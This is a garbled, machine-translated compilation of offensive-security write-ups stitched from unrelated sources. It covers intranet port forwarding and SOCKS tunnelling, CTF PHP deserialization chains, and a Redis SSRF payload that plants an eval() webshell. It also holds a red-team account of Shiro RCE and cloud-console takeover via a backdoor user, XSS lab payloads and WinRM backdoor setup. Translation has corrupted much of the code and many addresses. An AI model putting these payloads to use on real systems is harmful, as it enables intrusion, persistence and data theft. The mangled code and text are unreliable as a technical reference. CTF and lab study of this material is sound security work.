環境:イントラネットホストは外部ネットワークにアクセスできませんが、同じネットワークセグメントのイントラネットマシンにアクセスできます。同時に、ポート80はローカルでのみアクセスできますが、ポート8080は一般公開されています。 ステップ1 :制御されたサーバーのポート80は、ローカルポート8080 LCX -TRAN 8080 127.0.0.1に転送されます ステップ2:イントラネットLCX -Slave 192.168.56.1 4444 192.168.56.101 8080で外部からアクセスできるイントラネットによって制御されるサーバーに接続 ステップ3:外部からアクセスできるイントラネットマシンでポートLCXを聞いてください-Listen 4444 12345 ステップ4:外部ネットワークマシンは、192.168.56.1のポート12345にアクセスします。つまり、サーバー12345-Server 44444から192.168.64.1033:12345にアクセスします。 linux: 使用法: V:Version -M:メソッドアクションパラメーターを指定します 方法=1:ホスト2(ポートマップ)に接続されたポート1のポート2(ポートマップ)を聴く 方法=2: PORT1のPORT2への転送を聞いてください 方法=3:ホスト1に対応するポートを接続し、ホスト2に対応するポート(ポート転送) たとえば、 frp FRP(Fast Reverse Proxy)は、GO言語で開発された逆プロキシアプリケーションです。イントラネット浸透FRPサポートtcp \ udp \ http \ httpsfrpを実行できます イントラネットまたはファイアウォールにあるマシンを使用して、外部ネットワークにhttp \ https \ tcp \ udpサービスを提供します。 HTTPの場合、HTTPSサービスはドメイン名ベースの仮想ホストをサポートし、カスタムドメイン名をサポートします。複数のドメイン名が80ポートダウンロードされたFRPSを共有し、FRPS.INIはサーバープログラムと構成ファイル、FRPC、FRPC.iniはクライアントプログラムおよび構成ファイルです。 サーバーの設定と変更frp.ini ファイル形式: [一般] bind_port=7000 #frpサーバーリスニング㐰 dashboard_port=7500 #webバックグラウンドリスニングポート dashboard_user=admin #web背景ユーザー名とパスワード dashboard_pwd=admin token=123456#クライアントとサーバーの間の接続パスワードはFRPSサーバーサイドを実行します。 x.x.x.x.x33607500にアクセスして、独自のユーザー名とパスワードでログインします クライアント設定FRPC.iniファイルを変更します [一般] server_addr=192.168.152.217 #Server IPアドレス server_port=7000 #serverポート トークン=123456 #Connectionパスワードはサーバーで設定されています [http] #customルール、[xxx]はルール名を表します type=tcp #Type:転送プロトコルタイプ local_ip=127.0.0.1 local_port=3389 #ローカルアプリケーションの数 remote_port=7001 #このルールがサーバーに開いているポート番号で構成された後、FRP.iniを完了し、CMDはFRPCを実行します(Server-Cが構成ファイルを指定するのと同じ) LANの外側のクライアントのサーバーのremote_portポートに接続する このツールは、プラットフォーム全体のLinux、つまりWindowsExeプログラムに接続できます 上記の操作は、7000〜7001をリッスンしてから接続することに相当します metasploit portfwd はじめに 攻撃システムにアクセスできないマシンに直接アクセスするメータープレターシェルに組み込まれたツール。攻撃マシンとターゲットマシンにアクセスできる破損したホストでこのコマンドを実行します。 TCP接続をローカルマシンを介して転送し、支点になることができます。オプション -L:監視するローカルホスト(オプション)。 -l :ローカルポートを聞くには、このポートへの接続がリモートシステムに転送されます。 -P:TCP接続がTCP接続が接続されるポートを転送するリモートポート -R:接続するリモートホストのIPアドレス パラメーター :の追加 削除:これにより、転送ポートリストから前のエントリが削除されます。PortfwdDelete-Iローカルリスニングポート番号-P宛先ポート番号-R宛先マシンIPアドレス リスト:現在、現在転送されているすべてのポートをリストしています フラッシュ:これにより、転送リストのすべてのポートが削除されます これはあまり安定しておらず、FRPほど良くありません。LCXはあまり役に立ちません。 ボーダープロキシ プロキシカテゴリ:HTTPプロキシ、ソックスプロキシ、Telnetプロキシ、SSLプロキシ プロキシツール:Mearworm、Regeorg(HTTP Proxy)、Proxifier(Win)、SockScap64(Win)、Proxychains(Linux) イントラネットは、前方プロキシとしてプロキシを介して外部ネットワークに接続され、イントラネットは逆プロキシとしてプロキシを介してイントラネットに接続されます。 ロードバランシングサーバー:ユーザーのリクエストをアイドルサーバーに配布します。 ソックスプロキシ プロキシサーバーを介してウェブサイトにアクセスするとき、Socksサーバーは仲介者として機能し、それぞれ両当事者と通信し、結果を相手に通知します。ソックスプロキシが構成されている限り、アクセスされたターゲットを指定する必要はありません。 SocksとHTTPエージェントはTCPトラフィックを使用します。つまり、UDPプロトコルはこれら2つのプロキシプロキシとポート転送を使用できません。プロキシポート転送には、1対1のプロトコルを必要とせずにソックスプロトコルサポートを必要とし、ネットワークに1対1でアクセスし、他のポートにアクセスするのに役立ちます。サーバー上のサービスポートに耳を傾けます。接続要求がある場合、ソックスプロトコルからターゲットURLにアクセスするターゲットポートに解析されます。 意味は、エージェントがある場合、母親のポート転送は必要ないということです。彼はまた、ポートを好転させて回転させた後、心にめまいがします。エージェントはそれほど多くの派手なものを必要としません。 proxychains Proxychainsは、Linuxの下でグローバルにプロキシできるオープンソースプロキシツールです。プロキシチェーンは、ユーザー定義のプロキシリストを介して指定されたアプリケーションへの接続を強制し、http \ socks4 \ socks5タイプをサポートします。ツールを使用する前に、ツールを構成する必要があります。構成ファイル:/etc/proxychains.conf dynamic_chainコメントを削除します 下部にプロキシサーバーのプロキシチャインを追加します。ソフトウェア名は、プロキシでソフトウェアを起動するために使用されます。 regeorgツール Regeorgは、主にHTTP/HTTPSトンネルを介してイントラネットサーバーポートをローカルマシンに転送し、ターゲットサーバーがイントラネットのターゲットサーバーに接続するため、またはポートポリシーが作成されたときにループを形成します。ターゲットサーバーの内部オープンポートを使用して、イントラネット浸透のソックスプロキシを確立します。サーバーは、サーバーとクライアントに分割されたASPX \ PHP \ JSPのRegeorgをサポートする必要があります。 php \ aspx \ jsp \ node.jsなど、多くの種類のサーバーがあり、クライアントはPythonです。そのため、使用する場合は、ファイルに対応するスクリプトを見つけます。 regeorg使用 そしてそれをプロキシチャインと組み合わせて使用します。 サーバーがPHPバージョンであると仮定して、PHPをサーバーにアップロードし、「Georgが「すべて問題ない」と言う」と直接アクセスするために、python Regeorgsocksproxy.py -UターゲットマシンRegeorgスクリプトアドレス-PローカルリスニングポートをAntConfを修正する別の端末を修正するための別のターゲットマシンRegeorg Scriptアドレスを実行すると仮定して、PIPインストールのインストールをインストールします。プロキシリストSocks5 127.0.0.1ローカルリスニングポート、およびその他のコメントを追加
  8. easypop 問題環境はPHP 7.4なので、すべての属性タイプをパブリックに直接変更できます 出発点は、Show Classの__toString()メソッドのこのヒントで呼び出されるRecho $によって呼び出され、$ this-ctf-show()を実行してsecret_codeクラスの__call()にジャンプし、ショー()メソッドにアクセスして、ショー()にジャンプします。 $ name()を介したファインクラスの__invoke() ポップチェーンは次のように構築されています ?php クラスはうまくいきます { public $ cmd; public $ content; } クラスショー { public $ ctf; public $ time; } クラスごめんなさい { public $ name; public $ password; public $ hint; public $ key; } クラスSecret_Code { public $ code; } $ e=new Fine(); $ e-cmd='system'; $ e-content='cat /flag'; $ d=new Sorry(); $ d-key=$ e; $ c=new Secret_code(); $ c-code=$ d; $ b=new Show(); $ b-ctf=$ c; $ a=new Sorry(); $ a-name='123'; $ a-password='123'; $ a-hint=$ b; echo serialize($ a); 最後に数を変更し、__wakeupをバイパスします http://F9EAC3ED-9425-4FE7-A009-AAD41F9DB212.NODE4.BUUOJ.CN3:81/?POP=O:5:'SORRY':43: {S:4:'Name :'123 '; s:8:'password'; s:'hint '; o:4:'show'33602: {s:33:'ctf'; o:110'sc ret_code':1: {s:4:'code '; o:5:'sorry':4: {s:4:'name'; n; n; n; n; n; n; n; n; n; n; n; n; n; n; hint '; n; s:3360'key'; o:4:'fine': {s: 'cmd'; s:63360'system '; s:73360'content'; s:933:'cat /flag ';}}} s:43360'time'; n;} s3360:'key '; n;} hade_waibo CanCanは任意のファイルを読む必要があります http://745B93EE-B378-4803-B84E-52F9E7B78D2A.NODE4.BUUOJ.CN:81/file.php?m=showfileName=file.php file.php .. ?php error_reporting(0); session_start(); 「class.php」を含める; if($ _ session ['islogin']!==true){ die( 'scriptalert(' login for for for for for for for als '); location.href=' index.php '/script'); } $ form=' form action='file.php?m=upload' method='post' enctype='multipart/form-data' 入力型='ファイル' name='file' ボタンclass='mini ui button' font style='vertical-align: enternit;' font style='vertical-align: enternit;' 提出する /font/font/button /形状'; $ file=new file(); switch($ _get ['m']){ ケース「アップロード」: if(empty($ _ files)){die($ form);} $ type=end(Explode( '。'、$ _files ['file'] ['name'])); if($ file-check($ type)){ die($ file-upload($ type)); }それ以外{ die( 'オイルケーキを食べますか'); } 壊す; ケース 'show ': die($ file-show($ _ get ['filename'])); 壊す; ケース 'RM': $ file-rmfile(); die( 'すべて削除されてピンチ'); 壊す; ケース 'logout': session_destroy(); die( 'scriptalert(' logined out '); location.href=' index.php '/script'); 壊す; default: エコー 'h2halo! '。$ _セッション[' username ']。'/h2 '; 壊す; } ? .. class.php 「?php クラスユーザー { public $ username; パブリック関数__construct($ username){ $ this-username=$ username; $ _SESSION ['ISLOGIN']=true; $ _Session ['username']=$ username; } public function __wakeup(){ $ cklen=strlen($ _ session ['username']); if($ cklen!=0および$ cklen=6){ $ this-username=$ _session ['username']; } } パブリック関数__destruct(){ if($ this-username==''){ session_destroy(); } } } クラスファイル { #ブラックリストをホワイトリストにアップデートして、より安全にします public $ white=array( 'jpg'、 'png'); パブリック機能ショー($ filename){ echo 'div class=' ui action input'input type='text' id='filename' placeholder='button class=' ui button 'onclick=' window.location.href=\ 'file.php?m=showfilename=\'+document.getelementbyid(\ 'filename \') if(empty($ filename)){die();} return 'img src=' data:image /png; base64、 '。base64_encode(file_get_contents($ filename))。' ' /'; } パブリック関数アップロード($タイプ){ $ filename='dasctf'.md5(time()。$ _ files [' file '] [' name '])。'。$ type '; move_uploaded_file($ _ files ['file'] ['tmp_name']、 'upload/'。$ filename); 'return'アップロードの成功! path: upload/'。 $ filename; } パブリック関数rmfile(){ system( 'rm -rf/var/www/html/upload/*'); } パブリック関数チェック($タイプ){ if(!in_array($ type、$ this-white)){ falseを返します。 } trueを返します。 } } #悪意のある興味深いテストクラスを使用しました クラステスト { public $ value; パブリック関数__destruct(){ chdir( './upload'); $ this-backdoor(); } public function __wakeup(){ $ this-value='do n't make dream.wake up plz!'; } パブリック関数__toString(){ $ file=substr($ _ get ['file']、0,3); file_put_contents($ file、 'hack by $ file!'); 届かないことを返してください!) '; } public function backdoor(){ if(preg_match( '/[a-za-z0-9?$@]+/'、$ this-value)){ $ this-value='nono〜'; } System($ this-value); } } テストのクラスを使用できます。私が最初に考えるのは、ファーゼリア化です .executedコマンドを使用して、通常をバイパスできます アイデアは、ファーファイルを最初にアップロードしてから、実行するコマンドを含むJPGをアップロードすることです JPGの名前はPhARの前にある必要があることに注意してください。たとえば、PhARの名前はdasctfe4.jpgであり、コマンドを含むJPGの名前はdasctfc2.jpgまたはdasctf01.jpgでなければなりません(ASCIIコードは小さくなります) しかし、試してみると、ウェイクアップをバイパスすることは良くないように見えることがわかりました. それから、EasyLoveの質問をしていたとき、ルートディレクトリにstart.sh展開スクリプトがあったことを思い出しました。質問の説明に基づいて、 /ディレクトリの下のファイルのtips:flagなので、start.shを直接読んでください。 flagを取得するために /ghjsdk_f149_h3re_asdasfcを読み取ります easylove タイトルに記載されているRedisによると、SSRF + Redisを介して逃げることであると推測されます $ this-love=new $ this-wllm($ this-arsenetang、$ this-l61q4cheng);この文は明らかに、特定のクラスを通じてSSRFを実行することです。 私たちが知っているように、Redisプロトコルは非常にゆるく、HTTPの使用をサポートしてパケットを送信しますが、PHPのネイティブのSoapClientクラスはHTTPを送信できます 次のようにペイロード ?php クラスSWPU { public $ wllm; public $ arseneng; public $ l61q4cheng; 公開$愛。 } $ a=new Swpu(); $ a-wllm='soapclient'; $ a-areNetang=null; $ target='http://127.0.0.133606379/'; $ poc='flushall \ r \ nconfig set dir/var/www/html/\ r \ nconfig set dbfilename shell.php \ r \ nset xzxzxz'?=eval(\ $ _ request [1])? '\ r \ nsave'; $ a-l61q4cheng=array( 'location'=$ターゲット、 'uri'='hello \ r \ n'。$ poc。 '\ r \ nhello'); echo urlencode(serialize($ a)); トライアル中に立ち往生してください(通常の現象)、shell.phpに訪問することも404を示しています だから、Redisには認証があるかもしれないと思いました。質問のヒントクラスを読み、file_get_contents()を介してhint.phpのコンテンツを取得しました。 エコーなしでヒントを直接ゆるくします。その結果、file_get_contents()+ gopherを試してみたいとき、偶然hint.phpを読みました。 ?php クラスヒント{ public $ hint; } $ a=new Hint(); $ a-hint='Gopher: //127.0.0.133606379/_%2A1%0D%0A%248%0D%0AFLUSULL%0D%0A%2A3%0D%0A%243%0D%0ASET%0D%0A%241% 0A1%0D%0A%2422%0D%0A%0A%0A%3C%3FPHP%20PHPINFO%28%29%3B%3F%3E%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D% 0A%243%0D%0ASET%0D%0A%243%0D%0ADIR%0D%0A%2413%0D%0A/VAR/WWW/HTML%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%2 43%0D%0ASET%0D%0A%2410%0D%0ADBFILENAME%0D%0A%249%0D%0ASHELL.PHP%0D%0A%2A1%0D%0A%244%0D%0ASAVE%0D%0A%0A '; echo serialize($ a); http://0021BFDB-5D2B-42FF-9505-49D23C4AA0E2.NODE4.BUUOJ.CN:81/?HEL LO=O:4:'hint':1: {s33604:'hint '; s:404:'go PHER: //127.0.0.133606379/_%2A1%0D%0A%248%0D%0AFLUSHALL%0D%0A%2A3 %0D%0A%243%0D%0ASET%0D%0A%241%0D%0A1%0D%0A%2422%0A%0A%0A%3C%3FPHP% 20phpinfo%28%29%3b%3f%3e%0a%0a%0d%0a%2a4%0d%0a%246%0d%0aconfig%0d%0a %243%0D%0ASET%0D%0A%243%0D%0ADIR%0D%0A%2413%0D%0A/VAR/WWW/HTML%0D%0A% 2A4%0D%0A%246%0D%0ACONFIG%0A%0A%243%0D%0ASET%0D%0A%2410%0D%0ADBFILENAME%0D%0A%249% 20220311はRedisのパスワードです したがって、最終的なペイロードは次のとおりです ?php クラスSWPU { public $ wllm; public $ arseneng; public $ l61q4cheng; 公開$愛。 } $ a=new Swpu(); $ a-wllm='soapclient'; $ a-areNetang=null; $ target='http://127.0.0.133606379/'; $ poc='auth 20220311 \ r \ nflushall \ r \ nconfig set dir/var/www/html/\ r \ nconfig set dbfilename shell.php \ r \ nset
  9. 0x00はじめに 2022.8.xユニットは、特定の業界での特別な攻撃および防衛ドリルに参加することを突然通知し、学習を目的として波に参加しました。ここで記録します。 0x01ハンドイン ターゲットユニット名を取得します 最初に、AiqichaやTianyanchaなどのツールを介して、ターゲットとターゲットの下位ユニットの情報を確認してください 利用可能なツール:ENESCAN_GO 次は、情報収集の3つの軸です サブドメイン名、IP、ポート サブドメイン名を収集:OneForall(APIはより完全に構成する必要があります)、サブファインダー、FOFA、ハンター IPSを収集:eeyes、domain2ip ポートスキャン:Goby、NMAP、Masscan Goby Full-Port Scanningはここで使用されており、スキャン速度は心配していますが、利点は比較的包括的であり、ディスプレイ効果が向上していることです。 ポートをスキャンした後、Webおよび非Webクラスのポートを除外してください。これにより、正確な攻撃が容易になります。 Webクラスは最初に指紋認識を実行し、(Shiro、Tongda OA、Ufida NCなど)などのいくつかの主要なフレームワークシステムに対する攻撃を優先順位付けできます。 非Webクラスは、サービスブラストのためにスクリーニングできます。 6379 Redisなど、最初にいくつかの特別なポートを試すことができます 0x02ブレークスルーを取得 いくつかの操作の後、上記のポイントを通じて、Shiroフレームワークを備えたシステムが取得されました。このシステムは、パスにアクセスした後、デフォルトでSSOプラットフォームに転送されました。システムに入るには、入り口をログインしてSSOプラットフォームで検証する必要があります。ただし、手動のパスワードテストの後、弱いパスワードを介してSSOシステムを入力することは少し困難であることがわかったため、戦略的にあきらめました。 まず、Shiro Deserialization Toolを使用して、RCEの脆弱性があるかどうかを確認します。 これが提案です。さまざまなツールが必ずしもキーと利用チェーンを投げるとは限りません。テストしているときは、テストするツールをさらにいくつか変更してみてください。ここで3つのツールを変更して、キーと利用チェーンを取得しました。他のツールは出て行けません(キー辞書の問題、または単に出られない.) Linux Machine、Whoami Root Permissions、pingwww.baidu.comが利用可能です。 最初にLinuxステートメントを使用して、Webサイトの静的ファイル名に従ってディレクトリアドレスを見つける /-name 404.jspを見つけます Webサイトのルートディレクトリに直接、VPSのJSPホースにアクセスしてから、アリの剣に接続できます。 検索/WebAppsの後、3つのシステム + SSOシステムがあることがわかりました SSO検証がある限り、他の3つのシステムにアクセスできると思います。 次に、構成ファイルのフリップを開始します Path/webapps/xxx/web-inf/classes/ dbconfig.propertiesファイルが見つかり、mysqlとredisの間の接続情報が見つかりました。 (私はそれをコーディングするためにそれ以上のものを入れません) MySQLは、イントラネットからではなく、Alibaba Cloudからのものです。見た後、使用していたマシンはクラウドホストであることがわかりました。 Baiは幸せで、次のステップについて考えて、MySQLがSSOにログインできるかどうかを確認し、ファイルと漏れた構成情報を検索してから作業を終了しました。 MySQLを接続した後、SSOライブラリと他の3つのシステムのライブラリを見ましたが、最も緊急のことは、最初にSSOにログインできるかどうかを確認することです。 SSOテーブルでSSO_PWDフィールドを表示します 暗号化されていることがわかりました。まだ通常の暗号化ではありません。 (ベンブに住んでいます。) 0x03暗いヤナギと明るい花 レポートの作成を終えようとしていたときに、config.propertiesという名前のファイルが私の注意を引きました。 クリックして確認して確認してください! SSOはキーペアとAliyunのAccessKeyIdとSecret Take Afveを暗号化しました! 0x04 SSOパスワードを復号化する RSA暗号化、RSA復号化- オンラインツール-Oktools パスワードはランダムに生成されました。私はこの人生で決して爆発しません。 SSOシステムにログインします 次に、データベース内の他のライブラリのパスワードを介して3つのシステムを入力し、写真の掲載を停止しました(コードするにはあまりにも多くのもの.)。 0x05クラウドプラットフォームを引き継ぎます 数日前に私が見たMaster Teamsixによる記事は、今日から再び現れていましたが、これは非常に快適です。 CFを使用して、クラウドイントラネットに浸透しましたT wiki(teamssix.com) CFツールアドレス: TeamSSIX/CF:クラウドエクスプロイトフレームワーククラウド環境利用フレームワーク。これにより、赤チームメンバーがAKの取得をフォローアップできるようになります(github.com) cf alibaba ls クラウドリソースを表示します 1バケットバケット + 2 OSSリソース + 1 ECSリソースCF Alibabaコンソール バックドアユーザーを追加して、Alibaba Cloud Consoleを引き継ぎます アクセス制御では、現在の許可は次のとおりです。AndistratorAccessとは、テナントの管理者の権利を取得したことを意味します。 OSSリソースとECSリソースをご覧ください OSS: ECS: この時点で、私はレポートを書き終えて仕事を終えました。 0x06要約 クラウドプラットフォームを引き継ぐAKの波が再現されており、私は多くを獲得したと感じています。クラウドセキュリティは、将来的には攻撃的および防御的な訓練のブレークスルーになると信じています。 さらに、今回の攻撃経路は少し滑らかすぎました。 Shiro Frameworkを見つけても、構成ファイルを介してRSAキーペアとAKの構成情報を見つけることであっても、私はそれがハニーポットだと思っていました。 追加:レポートを書いていたとき、私はチームメイトとおしゃべりしましたが、このサイトがまだターゲットであるとは思っていませんでした。攻撃と防衛のドリルは非常に重要であるとしか言えません。元の接続:https://Forum.butian.net/share/1854
  10. この記事は、映画やテレビドラマに関与するテクノロジーのみを分析し、プロットを詳細に説明していません。興味があれば、チェックアウトできます。 PS:テクニカル分析は、テレビの開始時にプロットシーケンス(1〜4)エピソード 序文 で実行され、最初の攻撃テクノロジーである悪意のあるパワーバンクを示しました。電源バンクを使用して電話を充電しているようですが、充電プロセス中にユーザー情報を取得しました。 ADBコマンドを使用して、携帯電話の写真情報を取得して、実装原則を達成する この方法には、以前の記事では《利用树莓派监控女盆友手机》が含まれます。実際には非常に簡単です。 ADBコマンドを使用して、電話の情報を取得することです。もちろん、ADBコマンドを使用してシェルをインストールすることもできます。 達成するのが難しい 簡単に、電話の開発者をオンにして最初に選択してください。 ただし、実際には、電話開発者オプションはデフォルトでオフになります。テレビの場合は不可能です。 情報収集 WeChatモーメントに基づいて情報を収集します 友人に会わず、相手に関する関連情報を入手して、友人のサークルの最新の更新を確認してください。さらに、ヒロインの夫は不正行為の状況にあると推測されました。いとこは提案します 仕事に必要でない場合は、WeChatでこの機能をオフにしてみてください。 WeChatの手順に基づく情報収集 WeChatのステップを通して、あなたは今していることを手に入れることができますか?午前8時に目が覚めたばかりで、友人の階段が5,000段階に達した場合、彼が走って運動している可能性が非常に高いことを意味します。 フィッシングリンクに基づく情報収集 また、いとこの以前の記事で同様の記事を書きました。プローブを通じて、ターゲットのIPアドレス、GPS情報、写真、録音などを取得するだけです。ただし、携帯電話のセキュリティパフォーマンスが向上するにつれて、ポップアッププロンプトがあります。 baidu netdiskを使用してデータをバックアップします これはしばしば人生で遭遇します。さらに、Baidu NetDiskをインストールした後、バックアップアドレス帳とその他の情報はデフォルトで有効になります。あなたはそれを試してみることができます! (アバターを置き換えるのが最善であるため、それが本物であるように) Didiを使用して旅程を共有します 上記の計画を通じて、主人公は相手の携帯電話番号を正常に取得し、WeChatを通じて関連するアカウントを見つけました。もちろん、ネットワークセキュリティの専門家のコンピューターは毒されました。 ドライバーの手紙を割って もちろん、ディレクターはここでパスワードを与えました。それが実際のパスワードの複雑さであれば、ドラマが終わったときにそれはおそらくうまくクラックされないでしょう。 インターネットカフェネットワークを制御 これは、操作およびメンテナンスアプリまたはミニプログラムを使用して管理する必要があります。それほど難しくありません。 ソーシャルエンジニアリングのアプリケーション ゴミを拾って、相手から有用な情報を入手してください。したがって、日常生活では、明示的な配達や持ち帰りなどの注文が処理されない場合、特定の情報漏れを引き起こします。 相手のアカウント情報を通じて、Tieba、Weibo、QQスペースなどの他のアカウント情報を列挙して、相手の関連する個人情報を取得します。 wifiプローブ ずっと前に、CCTV 315は、WiFiプローブの盗みのユーザー情報の露出したケース。原則は、ユーザーの携帯電話のワイヤレスLANがオンになると、信号が周囲のエリアに送信されてワイヤレスネットワークを見つけることです。プローブボックスがこの信号を発見したら、ユーザーの携帯電話のMacアドレスをすばやく識別し、IMEI番号に変換してから、携帯電話番号に変換できます。 したがって、一部の企業は、この小さな箱をショッピングモール、スーパーマーケット、コンビニエンスストア、オフィスビルなどに配置し、ユーザーの知識なしに個人情報、さらには結婚、教育レベル、収入などのビッグデータの個人情報を収集します。 androidシェル ビデオからわかるように、非常に基本的なMSFはAndroidコマンドを制御します。しかし、携帯電話の編集を直接操作できることは少し誇張されています。 wifi釣り WiFi釣りにフラキシオンを使用します。 PS(4-8)エピソードは、映画やテレビドラマのテクノロジーのみを分析し、プロットとキャラクターは説明されていません。 次に、詐欺グループからデータを取得するために、私はコンピュータールームに忍び込み、サーバーデータをダウンロードしました。 ここで使用するソフトウェアはXFTPを使用する必要があります。これも物理的な攻撃です! 物理的な攻撃 いわゆる物理的攻撃は、攻撃者がソフトウェアレベルまたはシステムで関連する脆弱性を見つけることができないことを意味します。当面ターゲットを獲得できない場合は、調査のためにフィールドに行き、ソーシャルエンジニアリングやその他の攻撃方法を通じてターゲットに忍び込みます。この種の攻撃は最も致命的です。ネットワークセキュリティ競争で使用されるツール。前のショットでは、OWASPを使用してターゲットWebサイトをスキャンして脆弱性をスキャンする必要があります。正直に言うと、ページは動いていません。私が何をスキャンしたかわかりません! OWASPスキャナーが第2レベルの保護に入った後、3番目のゲームはMSFインターフェイスである必要があります。 MSF構成パラメーターを設定しますが、エクスプロイトはなく、何を待つべきかわかりません。 カウントダウンが3分の場合、SQLMAPインジェクションが開始されるはずです。 ビデオからわかるように、使用されるコマンドはSQLMAP -R 1.TXT - バッチ - レベル5 -V Current -USERSQLMAPの使用です。上記のコマンドを使用して、ポストインジェクションを通じて現在のシステムユーザーを取得する必要があります。 パラメーター解釈: -R 1。ターゲット要求データはTXTに保存されます。一般的に、バープはパケットをキャッチし、それらをTXTとして保存するために使用されます。 - ユーザーは、バッチ実行中にYESまたはNOを入力する必要はなく、SQLMAPによってプロンプトされたデフォルト値は、継続的に実行されます。 - レベルのリスクレベル、デフォルトは1です。レベルが5の場合、多くのペイロードがテストされ、効率が低下します。 - Current-Userは現在のユーザー名を取得します。 要約 TVシリーズに関与するネットワークセキュリティツールはすべて、私たちが通常持っている一般的なネットワークセキュリティの知識です。映画とテレビのドラマはわずかに拡大していますが、プロットの観点からは、それでも非常に良いです。特にネットワークセキュリティの知識を一般に公開している間、オンラインウォーターアーミー、オンライン詐欺、豚の殺害、オンラインローンなどの人々に関連するトピックを密接にリンクしています。ビデオの最後に、一部のネットワークセキュリティ知識は誰にでも普及します。 記事から転載された出典:https://Blog.bbskali.cn/3666.html
  11. 0x01外部ウェブサイトサービス 資産発見 マルチサービングおよびマッピングプラットフォーム検索3https://hunter.qianxin.com/ https://fofa.info/ https://Quake.360.cn/ ターゲットサイトがxxxx.comの場合、多文字の検索は、さまざまな構文を介して資産を収集でき、収集された資産がより包括的になります。 ここでの例としてFOFAを取ります domain='xxxx.com' host='xxxx.com' header='xxxx.com' cert='xxxx.com' 機密情報漏れ 学校サイトの情報収集については、一般的に言えば、外部ネットワークから取得できるポイントはほとんどありません。ほとんどのWebアプリケーションはVPNの背後に配置されているため、VPNアカウントを取得するための努力の半分で結果の2倍になると言えます。この時点で、この情報は構文を介してマイニングできます。 一般的に使用されるコマンドは次のとおりです。 #Google構文 site:*.edu.cn intext: vpn |ユーザー名|パスワード|アカウント|デフォルトのパスワード #github *.edu.cnパスワード この攻撃と防御のドリルの間、私は特定のサイトのVPNのデフォルトのパスワードを見つけることができて幸運でした。 デフォルトのパスワード 一部のサイトでは、建設が完了した後、デフォルトのアカウントパスワードが変更されない場合があります。現時点では、デフォルトのアカウントパスワードを使用してログインすることができます。 Webサイトの一般的なデフォルトパスワードを次に示します アカウント: 管理者管理者ルートユーザーテスト パスワード: Admin Admin123 123456 123テストルート 広く使用されているシステムの場合、Google Syntaxを介してデフォルトのパスワードを検索できます ここでは、Sysadmin/1を介してFanweiバックエンドに正常にログインします NACOS/NACOS 一般的なエクスプロイト マルチターゲットの攻撃的および防御的なドリルについては、個人がターゲットサブドメインURLを収集するよりも優れています。 ブレークスルーの指紋認識結果から重要な資産を除外し、既知の脆弱性または1日を攻撃するために使用します ここにいくつかのバッチエクスプロイトツールがあります: https://github.com/anonymous-ghost/attackwebframeworktools-5.0 https://github.com/d3ckx1/fvuln https://github.com/w01fh4cker/serein log4j、shiro、struts2などのフレームワーククラス。 Zhiyuan、Fanwei、Ufida、Lan LingなどのOAカテゴリも、発見したターゲットUfida NCサイトでもあります。 ujiunic ncはシェルを書き込みます インターフェイス/servlet/~ic/bsh.servlet.bshservletにアクセスして、コマンドを実行します DNSLOGを検出した後、ネットワークから見つからないことがわかりました。ここでウェブシェルに直接書かれています。 1.最初にゴジラJSPトロイの木馬を生成し、次にUnicodeエンコードを実行します。 2。その後、出力結果をエンコードするURL 3.ペイロードフィールドは次のとおりです。ここに記載されているデフォルトのパスは、WebApps/NC_WEBで、実際の戦闘で柔軟に対応できます。 文字列キーワード=urldecoder.decode( '
  12. En este post vamos a estar resolviendo el laboratorio: “DOM XSS in document.write sink using source location.search inside a select element”. En este caso, para resolver el reto tenemos que escaparnos del elemento “select” y llamar a la función alert. Lo primero de todo es acceder al laboratorio: Una vez hemos accedido, podemos ver varios productos. Vamos a entrar en uno cualquiera: Cuando entramos, podemos observar una función para comprobar el stock en las distintas ciudades: Si observamos el código fuente de la web, podemos encontrar el siguiente código: Analizando un poco el script, básicamente se entiende que además de las tres ciudades por defecto para comprobar el stock, se le puede agregar una más a través de la variable storeId de la URL. Por lo que podemos probar a añadir esa variable y un valor cualquiera: Una vez accedemos a la web de nuevo pero con la variable storeId, si nos fijamos en las ciudades: Podemos ver como se ha agregado una más, en concreto una con el nombre del valor que le hemos pasado a la variable. Si nos vamos de nuevo al código fuente, podemos observar como este parámetro se implementa: Por lo que, observando esto, podemos intentar poner un valor que ocasione que nos escapemos del propio elemento options, y ejecute un alert: Al acceder a la web con este valor en la variable: Se nos ejecuta el alert. En el código fuente, podemos observar lo siguiente: Y de esta forma, conseguimos resolver el laboratorio:
  13. En este post vamos a estar resolviendo el laboratorio: “Reflected XSS into attribute with angle brackets HTML-encoded”. En este caso, para resolver el reto tenemos que inyectar un payload que escape del string donde se encuentra y llame a la función alert. Lo primero de todo es acceder al laboratorio: Una vez accedemos, nos encontramos ante una barra de búsqueda, por lo que vamos a usarla buscando una palabra aleatoria: Cuando hacemos la búsqueda, podemos observar como la palabra que hemos buscado, se encuentra, entre otros sitios en la siguiente parte del código fuente Como podemos observar, es un string. Puedes pensar, ok, cierro la variable, pongo un alert y listo, una cosa así: var searchTerms= ' alert('XSS') ' Pero esto no es válido, ya que JavaScript no permite espacios en una variable, por esa misma razón para que toda la cadena se tome como parte de la variable, y aun así, el alert se ejecute, se concatena usando un guion. En el siguiente enlace podéis ver una explicación más detallada. Dicho esto, colocamos un payload como: ' '-alert('XSS')-' ' Y cuando le demos a buscar: Se habrá ejecutado el alert. En el código fuente, se verá de la siguiente forma: Con esto, completamos el laboratorio:
  14. winrmはポートマルチプレックスを実装します この攻撃方法には、アカウントとパスワードが必要です。ハッシュを取得した場合は、邪悪なウィンラムを使用してハッシュログインを実現することもできます。 サービスは導入 WinRMのフルネームはWindowsリモート管理であり、Microsoftのサーバーハードウェア管理機能の一部であり、ローカルまたはリモートサーバーを管理できます。 WINRMサービスにより、管理者はWindowsオペレーティングシステムにリモートでログインし、Telnetと同様のインタラクティブコマンドラインシェルを取得できますが、基礎となる通信プロトコルはHTTPを使用します。 バックドアアプリケーション Windows2012サーバーでは、WinRMがデフォルトで開始され、ポート5985が有効になっており、2008年のシステムでサービスを手動で有効にする必要があります。 Winrm QuickConfig -Qスタートアップ後、ファイアウォールはポートもリリースします httplistenerリスニングの共存を有効にするように設定します winrm set winrm/config/service @{enableCompatibilityhttplistener='true'} //80 winrm set winrm/config/service @{enableCompatibilityHttpsListener='true'} //443 リスニングポートを80/443に変更します winrm set winrm/config/ristener?address=*+transport=http @{port='80 '} winrm set winrm/config/リスナー?address=*+transport=https @{port='443'} また、ローカル接続では、WinRMサービスをオンにしてから信頼できるホストをセットアップする必要があります。 Winrm QuickConfig -Q winrm set winrm/config/client 